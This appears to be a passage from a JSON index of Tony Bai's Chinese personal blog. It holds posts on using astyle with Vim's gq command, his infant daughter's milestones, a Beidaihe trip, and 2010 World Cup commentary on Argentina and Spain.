file\n–indent=spaces=8\n–brackets=attach\n–indent-switches\n–indent-cases\n–indent-labels\n–indent-preprocessor\n–indent-col1-comments\n–pad-oper\n–pad-header\n–unpad-paren\n–add-brackets\n–keep-one-line-statements\n–align-pointer=name\n–mode=c\n–min-conditional-indent=0\n按照以上方式集成astyle到vim中有一个缺点：就是每次美化都是针对当前缓冲区（一般就是一个文件）。无法做到对某几行或一块区域进行代码美化。\n后在stackoverflow上发现有一人提出这样的方案：在.vimrc中增加一行：autocmd BufNewFile,BufRead *.c set formatprg=astyle\\ -T4pb。最初以为这样设置是使用astyle替换vim内置的c indent格式化工具，遂照猫画虎配置后用\u0026quot;=\u0026ldquo;命令进行测试，发现无法格式化；遂花时间研读Vim手册，终于发现是我的理解错了。formatprg这个option是与gq命令联系在一起的，而非关联\u0026rdquo;=\u0026ldquo;命令。以前的确不怎么使用gq命令，而是一直用c indent(\u0026quot;=\u0026quot;)来做所谓的格式化操作。利用对formatprg这个option的设置可以做到利用外部工具对vim当前文本buffer做格式化的目的。因为之前已经配置了$HOME/.astylerc，所以在.vimrc中增加一行：autocmd BufNewFile,BufRead *.c set formatprg=astyle，去掉了-T4pb这几个参数。\n生效.vimrc后使用gq命令对.c文件进行测试，果然有效。gq命令不仅支持对Whole Buffer进行filter，而且可以对单行、多行以及对块文本进行格式化过滤，比如：\nNORMAL模式下: gggqG 即对Whole Buffer进行格式化过滤；\ngqG 对从当前行到末尾行之间的文本进行格式化过滤；\ngq+1 对下一行文本进行格式化过滤；\ngqj 对当前行和下一行文本进行格式化过滤；\n与Vim结合在一起最大的好处是：astyle被透明的引入到我们日常开发过程中了，你的工作量并未因astyle的引入而增加，反而astyle却提升了你的工作效率，不是吗？\n","permalink":"https://tonybai.com/2010/07/29/use-astyle-to-beautify-your-code/","summary":"\u003cp\u003e昨天一位同事发了一篇小文档，文档中介绍了一种开源格式化代码的工具，名为\u003ca href=\"http://astyle.sourceforge.net/\"\u003eArtistic Style\u003c/a\u003e(astyle)，功能看起来还是很不错的。之前我写代码时比较注意代码的风格，一直按照自己的思路来美化自己的代码，用的最多的辅助工具就是\u003ca href=\"http://tonybai.com/2008/12/30/in-depth-study-vim/\"\u003eVim\u003c/a\u003e自带的indent功能，对这之外的格式化工具少有涉猎。记得几年前部门曾推广一款名为\u003ca href=\"http://checkstyle.sourceforge.net/\"\u003echeckstyle\u003c/a\u003e的Java代码格式规范检查工具，由于当时基本不接触Java，也没有用过。\u003c/p\u003e","title":"使用astyle美化代码"},{"content":"果果，我宝宝的小名。之前我给宝宝起的诸多小名均被LP大人一一否决了。后来有一天下班回家，LP说给宝宝起了个小名，叫“果果”。我觉得还行，也就这样叫开了。后来看徐峥和王宝强主演的“人在囧途”，发现片中李成功的孩子小名也叫果果，也许只是巧合^_^。\n上个周末和部门同事一起到北戴河游玩，在旅游结束回城的路上收到了LP的短信，说是：果果会翻身了。看到短信后心里很是高兴，宝宝身体很结实，刚刚70多天就会翻身了。宝宝平时很喜欢趴着，之前宝宝也一直在尝试翻身，可总是功败垂成，就差那么一点点，我只要轻轻推一下，宝宝就可以顺利翻过去，不过我还得帮她把小手从身下拿出，这次宝宝不仅可自己翻身，而且还可以自己将手从身下抽出了^_^。\n宝宝马上就要三个月了，宝宝的成长速度还是很快的，当初还觉得很大的婴儿床，现在看来都有些空间不足了，特别是看着宝宝顽皮的在床里翻来翻去，觉得床更小了。\n小家伙会翻身了，头也抬得很高\n顺便说说北戴河旅游，我们周六上午出发，中午到北戴河，下午到北戴河海滩自由活动；第二天乘车到南戴河国际娱乐中心，完了一上午，下午回城。总体来说北戴河的沙滩很是让人失望，但是南戴河无论是沙滩还是娱乐设施都很不错，滑草、滑艇、过山车都值得排队去玩，所以建议大家如果要去玩，就直接去南戴河，北戴河不去也罢。\n滑草速度很快，很刺激\n我目前玩过的最长距离、最高落差之水上滑艇，足足花了我两个小时排队\n今天联系了一家影楼，准备给宝宝拍“百日照”，时间过得真快啊！\n","permalink":"https://tonybai.com/2010/07/24/my-daughter-can-turn-over-in-bed/","summary":"\u003cp\u003e果果，我宝宝的小名。之前我给宝宝起的诸多小名均被LP大人一一否决了。后来有一天下班回家，LP说给宝宝起了个小名，叫“果果”。我觉得还行，也就这样叫开了。后来看徐峥和王宝强主演的“\u003ca href=\"http://movie.douban.com/subject/4237879/\"\u003e人在囧途\u003c/a\u003e”，发现片中李成功的孩子小名也叫果果，也许只是巧合^_^。\u003c/p\u003e","title":"果果会翻身了"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2010/07/04/agentina-out-my-worldcup-ends/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"阿根廷出局，世界杯结束！"},{"content":"昨天凌晨阿根廷不出意料的3:1击败墨西哥队，墨西哥复仇的梦想彻底破灭！虽说比赛中因裁判误判出现了不和谐的场面，但是这个结果应该是两队真实实力的写照。墨西哥队现在的水平还不足以撼动拥有豪华前场阵容的阿根廷队。\n这届世界杯“功利”盖过了“华丽”，阿根廷也不例外，3球的领先优势让阿根廷更多的投入精力组织防守，下半场老马也先后换下特维斯和迪马利亚两名进攻球员加强防守，墨西哥人也趁机围攻阿根廷球门，这也造成了其全场射门次数远超阿根廷。其实帮助特维斯首开纪录的梅西也是可以下场休息的，但老马期望梅西能收获一个进球的想法让梅西依旧留在场上，梅西在场上依旧起到十足的牵制对方防线、使其不敢大举压上的作用。\n梅西的进球依旧“难产”，但这又何妨，只要阿根廷能一直取得胜利，这届世界杯就一定属于梅西。\n德国屠杀了英格兰，阿根廷的确应该好好对待这个重量级对手。1990年，老马在决赛中倒在了德国人的铁蹄下；2006年梅西、特维斯等又被德国人在点球大战中击败；这次该轮到阿根廷胜利了！\n老马在采访中说了一句很鼓舞士气、很让阿迷热血沸腾的话：“我们的淘汰赛之路和四年前一样。可是四年后的阿根廷有两个巨大的不同。第一，阿根廷在场上拥有一个球王！第二，阿根廷在教练席上有迭戈！”\n迭戈无需披挂上场，只需把好运带给阿根廷；\n梅西不需进球，只需要带领阿根廷继续走向胜利！\n期待两个球王的精彩表现！\n","permalink":"https://tonybai.com/2010/06/29/agentina-come-on/","summary":"\u003cp\u003e昨天凌晨阿根廷不出意料的3:1击败墨西哥队，墨西哥复仇的梦想彻底破灭！虽说比赛中因裁判误判出现了不和谐的场面，但是这个结果应该是两队真实实力的写照。墨西哥队现在的水平还不足以撼动拥有豪华前场阵容的阿根廷队。\u003c/p\u003e","title":"阿根廷，继续前进！"},{"content":"作为阿根廷球迷，等待阿根廷队比赛的这段时间是最难熬的，感觉时间过得咋这么慢，工作状态也难免受到影响，终于等到7点30比赛开始了。\n本场比赛马大帅在阵容上仅用马克西替换了受伤的贝隆，不过战术上变化倒是很大，特别是梅西做出了很大牺牲，回撤中场较深，干脆就是一个中场球员，和马克西、马斯切拉诺共同做阿根廷的进攻组织工作。这应该是马大帅应对韩国人的一种战术变化。赛前韩国队就放话：要盯死梅西。而梅西后撤，吸引防守，让阿根廷其他锋线球员完成工程拔寨之任务，从本场比赛的效果来看，达到了预期目标。\n整场比赛来看，阿根廷展现出了一贯的“探戈步伐”，比赛节奏在阿根廷人的控制下显得并不是很快。从四个进球来看，梅西制造的阿根廷队的第一个进球，也是韩国人锋线的乌龙球最关键，就是因为这个进球打乱了韩国人的攻守体系，赛后朴智星也说，过早的失球让韩国队员们不知道该攻出去还是继续守。\n伊瓜因本场抓住了三次机会，把阿根廷球员在世界杯上演“帽子戏法”的传统继承了下来，初具战神巴蒂风范。其中第三个和第四个进球都是阿根廷前锋线团体配合的结果，梅西虽然没有进球，但在其中的作用是至关重要的。第三个进球来自于梅西的射门伊瓜因检漏，第四个进球来自于梅西中路撕破对手防线的挑传。\n本场比赛因战术原因，梅西更是远离对方球门，不过梅西还是凭借个人能力创造了诸多机会，有一次单挑对方5、6名后方队员的进攻最是精彩，不过本赛季47个俱乐部进球仿佛耗光了梅西进球的运气，梅西本场一个小小的遗憾还是没能取得个人本届世界杯的首例入球。不过这没有关系，淘汰赛阶段运气回来即可，1986的马球王不也是在淘汰赛才开始显露威力的吗！\n阿根廷虽然大胜韩国，但是自身问题也暴露出不少。“定时炸弹”德米凯利斯的爆炸；萨穆埃尔的因伤下场、马斯切拉诺、海因策以及古铁雷斯的黄牌都暴露出阿根廷后防线的问题，需马大帅总结改进。\n阿根廷队目前仅存理论上的小组不出线的可能，但实际上一般认为阿根廷已经出线了！阿根廷全队正按照自己的节奏慢慢的找着状态，一切都是那么自然而然。阿根廷在自己的世界杯之路上又迈出了坚实的一步，希望阿根廷后续比赛仍能一步一个脚印的踏实的走下去，让最佳状态在第七场比赛中展现。\n","permalink":"https://tonybai.com/2010/06/17/agentina-foot-team-promote-from-group-match/","summary":"\u003cp\u003e作为阿根廷球迷，等待阿根廷队比赛的这段时间是最难熬的，感觉时间过得咋这么慢，工作状态也难免受到影响，终于等到7点30比赛开始了。\u003c/p\u003e\n\u003cp\u003e本场比赛马大帅在阵容上仅用马克西替换了受伤的贝隆，不过战术上变化倒是很大，特别是\u003ca href=\"http://bigwhite.blogbus.com/logs/65948324.html\"\u003e梅西\u003c/a\u003e做出了很大牺牲，回撤中场较深，干脆就是一个中场球员，和马克西、马斯切拉诺共同做阿根廷的进攻组织工作。这应该是马大帅应对韩国人的一种战术变化。赛前韩国队就放话：要盯死梅西。而梅西后撤，吸引防守，让阿根廷其他锋线球员完成工程拔寨之任务，从本场比赛的效果来看，达到了预期目标。\u003c/p\u003e","title":"阿根廷出线，梅西小憾"},{"content":"上次说过阿根廷队首场比赛之日才是我的南非世界杯开始之时，阿根廷是我的最爱，但是除了阿根廷我还关注两只球队，一个是巴西，另外一个就是西班牙。五星巴西，每一届世界杯的夺冠热门，无论其队中星光是否够亮，我们都应该关注它；巴萨是我最喜爱的俱乐部球队，而本届西班牙的就是以巴萨的人员作为班底构建的，特别是当比利亚转会巴萨后，西班牙三条线都是以巴萨的球员挑大梁的。\n昨晚进行了本届世界杯首轮小组赛最后一个小组H组的比赛，如果你现在起床看赛后报道，你看到的肯定是满眼的“冷门”字样。没错，西班牙0:1输给了瑞士，的确让人有些意外，不过比分也提醒了博斯克西班牙目前的主力阵容是有问题的。\n昨晚我看了上半场的比赛，因为今天是工作日，考虑到这几天照顾宝宝的疲倦，所以我没有坚持把比赛看完。说说对比赛的直观感觉吧。西班牙首场比赛的首发阵容没有什么意外，巴萨班底，不过4-1-4-1的阵型有些出乎意料。西班牙队以华丽和进攻见长，和巴萨一样要谨防对手的快速反击，在后腰位置只放一个首次参加世界杯大赛的布斯克茨总觉得有些冒险，如果西班牙取胜了，那么大家可能都会忽视这一问题，如果失利了，肯定这个位置会为人所诟病，别忘了在巴萨阵中是图雷或凯塔两个经验丰富的力量型防守型中场，布斯克茨多为替补。另外在小组赛就摆出单箭头前锋，似乎有些保守。西班牙的中场绝对是公认的世界级的，无论与哪支球队比赛，中场的控制都会不落下风，60%以上的控球那是至少的，但是这个中场有一个致命的问题，那就是控球有余，进球不足。看看在俱乐部的进球就知道了，哈维+伊涅斯塔一个赛季进球数可能还不如梅西一两场比赛的进球数多，哈维.阿隆索在皇马进球更是少，布斯克茨防守大任在肩，更是不敢插上；也就是瓦伦西亚的席尔瓦在俱乐部进球多些，不过也在10个一下吧。把所有的进球重任都压在比利亚一个人身上，一旦比利亚不能进球，势必会影响到西班牙场上球员的情绪。所以说：第一感觉西班牙中场人数不是少了，而是太多了。这样的阵型很容易因为压缩对手太狠，而让自己的进攻空间也变小了。巴萨有梅西这个和哈维小白默契度完美的超级得分手，比利亚和梅西相比无论是个人能力还是与巴萨中场的配合默契度都不如梅西。\n实际上半场的比赛进程也正如上面所说，西班牙控球有余，有质量的射门以及高质量射门的人太少了。相信博斯克通过这场比赛的失利赶紧总结和吸取教训，后面的小组赛并不好打，西班牙前景难料啊，希望不要重蹈98小组赛被淘汰的覆辙。\n智利实力不弱，只是其主教练“疯子”太强调进攻。智利对洪都拉斯大举压上还可以，对阵西班牙希望贝尔萨学聪明些。\n小组赛第二轮已经开始，乌拉圭开了个好头，3:0一扫第一轮进球少的阴霾，希望后续比赛能进更多的球。今晚心爱阿根廷队又要登场了，希望梅西不负众望，阿根廷取胜则更关键。\n","permalink":"https://tonybai.com/2010/06/17/spain-lose-the-first-match-of-2010-worldcup/","summary":"\u003cp\u003e上次说过阿根廷队首场比赛之日才是我的南非世界杯开始之时，\u003ca href=\"http://en.wikipedia.org/wiki/Argentina_national_football_team\"\u003e阿根廷\u003c/a\u003e是我的最爱，但是除了阿根廷我还关注两只球队，一个是巴西，另外一个就是西班牙。五星巴西，每一届世界杯的夺冠热门，无论其队中星光是否够亮，我们都应该关注它；巴萨是我最喜爱的俱乐部球队，而本届西班牙的就是以巴萨的人员作为班底构建的，特别是当比利亚转会巴萨后，西班牙三条线都是以巴萨的球员挑大梁的。\u003c/p\u003e\n\u003cp\u003e昨晚进行了本届世界杯首轮小组赛最后一个小组H组的比赛，如果你现在起床看赛后报道，你看到的肯定是满眼的“冷门”字样。没错，西班牙0:1输给了瑞士，的确让人有些意外，不过比分也提醒了博斯克西班牙目前的主力阵容是有问题的。\u003c/p\u003e","title":"说说斗牛士首演被爆冷"},{"content":"昨晚2010年南非世界杯B组焦点战潘帕斯雄鹰阿根廷队凭借老将海因策的头球小胜尼日利亚，取得开门红，作为阿迷的我来说，我的2010世界杯从这场比赛起才正式开始。\n一场比赛的胜利完全不足以将阿根廷与夺冠联系在一起，阿根廷队还有很多问题亟待解决。从阿迷角度去看其实这场比赛更大的意义在于：我们收获了一个快乐的“阿根廷梅西”。这场比赛中那个在巴萨无所不能、进球如探囊取物的梅西似乎又出现了，梅西几乎参与了阿根廷队所有的进攻，除了通过超强的个人能力威胁对方球门之外，梅西还多次给队友创造出绝佳的得分机会。\n与之前的国家队比赛不同，这场比赛中的梅西恢复了在国家队中消失已久的活力与灵性。场上的梅西完全融入了比赛，就像在巴萨那样，为足球带来的快乐而投入、为了团队的目标而投入，人们已经看不到之前在世界杯预选赛阶段梅西脸上的那种阴郁和困惑。无论是普通球迷还是专业人士都一致认为只有在球场上感受到快乐的梅西才是那个威力无穷的天才梅西。而这场赛后大家都不约而同的感受到了：快乐的阿根廷梅西回来了！\n快乐的“阿根廷梅西”回来了！\n梅西需要时间来融入阿根廷队，融入是快乐的前提。之前给梅西的时间真的太少了。这场比赛之前，梅西与队友们一起生活和训练了将近一个月，这似乎是梅西作为核心与队友们合练时间最长的一次了。就是在这一个月里，梅西通过与队友们长时间一起训练和生活培养起来了友谊，一起参加比赛建立起了互相的信任；甚至作为小弟的梅西还受到了多位阿根廷老大哥们的指导和呵护。有了这些，就有了大家庭的感觉，就如在巴萨。\n这是梅西穿上伟大的阿根廷10号球衣参加的第一场世界杯比赛，对于梅西来说意义重大，这是第一次作为核心参加世界杯，通过个人努力，这完全有可能成为一届属于他的世界杯；对于阿根廷队来说，大家都希望赛场上梅西能成为1986年的那个马拉多纳，把大力神金杯第三次带回阿根廷。但希望归希望，比赛还得一场一场打；梅西还得继续通过比赛寻找与队友之间的默契，树立核心地位，获得队友的信任，让战术布置中的核心变成足球场上真正的核心。阿根廷队还需要通过不断总结比赛，提高自己，扬长避短，才能走得更远。\n既然满怀激情的看了阿根廷对尼日利亚的比赛，就不能不说说自己对这场比赛的想法，主要是说一下看到的阿根廷目前的瑕疵之处：\n1、进攻过于依赖梅西\n2、忽略了球场的宽度，边路无法充分展开（左路迪马利亚上半时消失也不全是迪马利亚的问题，攻击线过于集中于中路）\n3、中场防守厚度严重不足，尼日利亚可以轻松获得很好的反击机会\n4、右后卫位置太不稳妥了，不是被突破，就是易犯规而给对手前场任意球，如果面对是一流强队，这将是致命的。\n首发球员逐一说说：\n梅西：阿根廷最亮那颗星，有些时候太想进球了，反倒影响了思维和技术动作，如果能将心情放的再平静些，那就无敌了。\n特维斯：的确够勇猛，但是希望不要太粘球，快出球，也许能收到更好的效果。（经常看到特维斯因粘球，出球慢而被断球）\n伊瓜因：有些让我失望。本以为他能继承巴蒂衣钵，不过从比赛来看确是欠缺些火候，不过他还年轻，这就是资本。\n迪马利亚：上半场的确少见其身影，不过下半场那次与梅西的心有灵犀体现出其技术特点，老马可考虑多多大大左路，让其和梅西多配合配合，北京奥运会就是梅西与迪马利亚把阿根廷队送上了最高领奖台。\n贝隆：除了角球助攻海因策得分，贝隆在中路的防守和进攻真的没有什么亮点，比巴萨的哈维真不在一个档次。贝隆的确老了。马大帅应该考虑适当时刻给帕斯托雷一些出场机会了。\n马斯切拉诺：中场唯一防守屏障，重任在肩，中规中矩。\n海因策：打入唯一进球，起到了老将的作用。\n德米凯利斯：让人不放心啊！\n萨穆埃尔：后防线上唯一还值得信任的老将了。\n古铁雷斯：差点被打爆，出身中场的古铁雷斯在右后卫的位置极其不适应，老马最该调整的就是这个位置了。为何不让专职后卫的奥塔门迪出场呢？\n罗梅罗: 1.91米的身高是优势，不过说实话，看他的比赛较少，反应是否敏捷本场没有足够的考验。\n马拉多纳：让梅西恢复神力，说明老马的工作没有白做。\n回归快乐的阿根廷梅西值得期待！与以往不同，此次我们的阿根廷不是热门，不在死亡之组，我们也不谈夺冠。我们只是默默的支持阿根廷，默默的支持梅西。(如果真的逃不过世界杯魔咒效应的话，那我也希望能看到梅西率领的阿根廷在最后决赛中英雄般的倒下)。\n最后推荐下面三首世界杯歌曲，个个激情四射，符合世界杯足球的那种感觉：\n1、2010南非世界杯FIFA官方主题曲-哇咔哇咔（非洲时刻）\n2、Waving Flag\n3、旗开得胜(Waving Flag的中文版)\n","permalink":"https://tonybai.com/2010/06/13/the-happy-agentina-messi-return-back/","summary":"\u003cp\u003e昨晚2010年南非世界杯B组焦点战潘帕斯雄鹰阿根廷队凭借老将海因策的头球小胜尼日利亚，取得开门红，作为阿迷的我来说，我的2010世界杯从这场比赛起才正式开始。\u003c/p\u003e","title":"快乐的“阿根廷梅西”回来了！"},{"content":"时间过得真快，一转眼儿，我家宝宝都满月了！LP也终于出月子了^_^，可以分担一下我的“家务活儿”了^_^。\n自从有了宝宝后，每天这心里就又多了份牵挂，上班时总是有打电话回家问问宝宝情况的冲动，也许这就是当爸爸的感觉吧。\n宝宝在15天左右开始起湿疹，开始只是些许红点，后来面颊、额头甚至头皮上都布满了红点。那段时间真是火死了。宝宝一直是母乳喂养，怀疑LP的食物中含有过敏性食物，最后决定给LP停鸡蛋、停牛奶，同时尽量让宝宝穿的少些，凉爽些，慢慢的，宝宝面部的湿疹减少了。不过上周带宝宝去扎预防针，社区医院的大夫还是觉得宝宝的湿疹没有好利索，不给宝宝注射疫苗。这一周北方地区高温不退，宝宝的湿疹又有些严重。不过未来几天这边有降雨，气温也随之下降，是个利好消息。\n宝宝出生半月后即开始补AD丸，吃的是伊可新。不过宝宝在快到30天的时候突然变得很闹，有一点声音也会惊醒，醒后就很难入睡。通过打听得知，这样现象很可能是宝宝缺钙。宝宝太小，不适合直接补充钙剂，那就给LP加钙。两三天后，宝宝情况的确有所改观，虽说白天觉比较少，但是晚上睡眠都很充分。\n宝宝身体很硬实，刚满月时趴在床上的宝宝就已经可以将头抬起，虽然还有些颤颤巍巍^_^。\n不多说了，贴几张宝宝可爱的照片吧。\n我满月了！\n宝宝的满月微笑\n我理发了\n趴在床上是我最喜欢的姿势，使劲儿！\n这一觉好舒服啊！\nBTW，南非世界杯明天就要开幕了，作为球迷，我的节日到来了。虽然阿根廷不被看好，但是作为忠实的阿迷，我还是希望阿根